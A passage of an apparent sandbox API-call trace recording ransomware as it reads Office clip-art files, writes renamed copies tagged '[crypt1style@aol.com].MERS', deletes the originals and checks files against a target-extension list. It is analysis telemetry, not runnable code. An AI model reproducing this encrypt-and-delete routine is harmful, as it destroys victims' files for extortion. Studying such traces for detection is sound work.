hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.274] SetEndOfFile (hFile=0x3b0) returned 1 [0266.597] CloseHandle (hObject=0x3b0) returned 1 [0266.717] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.717] SetEndOfFile (hFile=0x384) returned 1 [0266.718] CloseHandle (hObject=0x384) returned 1 [0266.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0266.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.745] lstrlenW (lpString=".doc") returned 4 [0266.745] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.745] lstrlenW (lpString=".docx") returned 5 [0266.745] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.745] lstrlenW (lpString=".pdf") returned 4 [0266.745] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.745] lstrlenW (lpString=".xls") returned 4 [0266.745] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.745] lstrlenW (lpString=".xlsx") returned 5 [0266.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.745] lstrlenW (lpString=".ppt") returned 4 [0266.745] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.745] lstrlenW (lpString=".zip") returned 4 [0266.745] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.745] lstrlenW (lpString=".rar") returned 4 [0266.745] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.745] lstrlenW (lpString=".bz2") returned 4 [0266.745] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.745] lstrlenW (lpString=".7z") returned 3 [0266.745] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.745] lstrlenW (lpString=".dbf") returned 4 [0266.746] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.746] lstrlenW (lpString=".1cd") returned 4 [0266.746] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.746] lstrlenW (lpString=".jpg") returned 4 [0266.746] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.746] lstrlenW (lpString=".doc") returned 4 [0266.746] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.746] lstrlenW (lpString=".docx") returned 5 [0266.746] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.746] lstrlenW (lpString=".pdf") returned 4 [0266.746] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.746] lstrlenW (lpString=".xls") returned 4 [0266.746] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.746] lstrlenW (lpString=".xlsx") returned 5 [0266.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.746] lstrlenW (lpString=".ppt") returned 4 [0266.746] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.746] lstrlenW (lpString=".zip") returned 4 [0266.746] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.746] lstrlenW (lpString=".rar") returned 4 [0266.746] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.746] lstrlenW (lpString=".bz2") returned 4 [0266.746] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.746] lstrlenW (lpString=".7z") returned 3 [0266.746] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.746] lstrlenW (lpString=".dbf") returned 4 [0266.746] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.746] lstrlenW (lpString=".1cd") returned 4 [0266.747] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0266.747] lstrlenW (lpString=".jpg") returned 4 [0266.747] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.747] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.747] lstrlenW (lpString="AG00169_.GIF") returned 12 [0266.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0266.749] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=5375) returned 1 [0266.749] CloseHandle (hObject=0x2d8) returned 1 [0266.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0266.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0266.887] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.887] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0266.888] GetLastError () returned 0x0 [0266.888] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0266.966] WriteFile (in: hFile=0x360, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0266.967] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.967] WriteFile (in: hFile=0x360, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.967] SetEndOfFile (hFile=0x360) returned 1 [0266.967] CloseHandle (hObject=0x360) returned 1 [0266.967] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.967] SetEndOfFile (hFile=0x388) returned 1 [0266.969] CloseHandle (hObject=0x388) returned 1 [0266.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0267.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.007] lstrlenW (lpString=".doc") returned 4 [0267.007] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0267.007] lstrlenW (lpString=".docx") returned 5 [0267.007] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0267.007] lstrlenW (lpString=".pdf") returned 4 [0267.007] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0267.007] lstrlenW (lpString=".xls") returned 4 [0267.007] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0267.007] lstrlenW (lpString=".xlsx") returned 5 [0267.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0267.007] lstrlenW (lpString=".ppt") returned 4 [0267.007] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0267.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.007] lstrlenW (lpString=".zip") returned 4 [0267.007] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0267.007] lstrlenW (lpString=".rar") returned 4 [0267.007] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0267.007] lstrlenW (lpString=".bz2") returned 4 [0267.007] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0267.007] lstrlenW (lpString=".7z") returned 3 [0267.007] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0267.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.007] lstrlenW (lpString=".dbf") returned 4 [0267.007] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0267.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.008] lstrlenW (lpString=".1cd") returned 4 [0267.008] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0267.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.008] lstrlenW (lpString=".jpg") returned 4 [0267.008] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0267.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.008] lstrlenW (lpString=".doc") returned 4 [0267.008] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0267.008] lstrlenW (lpString=".docx") returned 5 [0267.008] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0267.008] lstrlenW (lpString=".pdf") returned 4 [0267.008] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0267.008] lstrlenW (lpString=".xls") returned 4 [0267.008] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0267.008] lstrlenW (lpString=".xlsx") returned 5 [0267.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0267.008] lstrlenW (lpString=".ppt") returned 4 [0267.008] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0267.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.008] lstrlenW (lpString=".zip") returned 4 [0267.008] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0267.008] lstrlenW (lpString=".rar") returned 4 [0267.008] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0267.008] lstrlenW (lpString=".bz2") returned 4 [0267.008] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0267.008] lstrlenW (lpString=".7z") returned 3 [0267.008] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0267.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.008] lstrlenW (lpString=".dbf") returned 4 [0267.008] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0267.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.008] lstrlenW (lpString=".1cd") returned 4 [0267.008] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0267.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0267.009] lstrlenW (lpString=".jpg") returned 4 [0267.009] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0267.009] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0267.009] lstrlenW (lpString="AG00174_.GIF") returned 12 [0267.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0267.009] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=3966) returned 1 [0267.009] CloseHandle (hObject=0x388) returned 1 [0267.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0267.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0267.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0267.010] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.010] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0267.010] GetLastError () returned 0x0 [0267.010] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xf7e, lpOverlapped=0x0) returned 1 [0267.097] WriteFile (in: hFile=0x360, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0267.307] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0267.307] WriteFile (in: hFile=0x360, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.307] SetEndOfFile (hFile=0x360) returned 1 [0267.846] CloseHandle (hObject=0x360) returned 1 [0267.973] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.974] SetEndOfFile (hFile=0x388) returned 1 [0268.041] CloseHandle (hObject=0x388) returned 1 [0268.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0268.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.073] lstrlenW (lpString=".doc") returned 4 [0268.073] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.073] lstrlenW (lpString=".docx") returned 5 [0268.074] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.074] lstrlenW (lpString=".pdf") returned 4 [0268.074] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.074] lstrlenW (lpString=".xls") returned 4 [0268.074] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.074] lstrlenW (lpString=".xlsx") returned 5 [0268.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.074] lstrlenW (lpString=".ppt") returned 4 [0268.074] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.074] lstrlenW (lpString=".zip") returned 4 [0268.074] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.074] lstrlenW (lpString=".rar") returned 4 [0268.074] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.074] lstrlenW (lpString=".bz2") returned 4 [0268.074] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.074] lstrlenW (lpString=".7z") returned 3 [0268.074] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.074] lstrlenW (lpString=".dbf") returned 4 [0268.074] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.074] lstrlenW (lpString=".1cd") returned 4 [0268.074] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.074] lstrlenW (lpString=".jpg") returned 4 [0268.074] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.075] lstrlenW (lpString=".doc") returned 4 [0268.075] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.075] lstrlenW (lpString=".docx") returned 5 [0268.075] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.075] lstrlenW (lpString=".pdf") returned 4 [0268.075] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.075] lstrlenW (lpString=".xls") returned 4 [0268.075] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.075] lstrlenW (lpString=".xlsx") returned 5 [0268.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.075] lstrlenW (lpString=".ppt") returned 4 [0268.075] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.075] lstrlenW (lpString=".zip") returned 4 [0268.075] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.075] lstrlenW (lpString=".rar") returned 4 [0268.075] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.075] lstrlenW (lpString=".bz2") returned 4 [0268.075] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.075] lstrlenW (lpString=".7z") returned 3 [0268.075] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.075] lstrlenW (lpString=".dbf") returned 4 [0268.075] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.075] lstrlenW (lpString=".1cd") returned 4 [0268.075] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0268.075] lstrlenW (lpString=".jpg") returned 4 [0268.075] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.076] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.076] lstrlenW (lpString="AN00010_.WMF") returned 12 [0268.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0268.139] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=3026) returned 1 [0268.139] CloseHandle (hObject=0x3d4) returned 1 [0268.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0268.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0268.143] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.143] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0268.143] GetLastError () returned 0x0 [0268.143] ReadFile (in: hFile=0x2c8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xbd2, lpOverlapped=0x0) returned 1 [0268.205] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0268.206] ReadFile (in: hFile=0x2c8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.206] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.206] SetEndOfFile (hFile=0x3b0) returned 1 [0268.206] CloseHandle (hObject=0x3b0) returned 1 [0268.206] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.206] SetEndOfFile (hFile=0x2c8) returned 1 [0268.208] CloseHandle (hObject=0x2c8) returned 1 [0268.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.208] 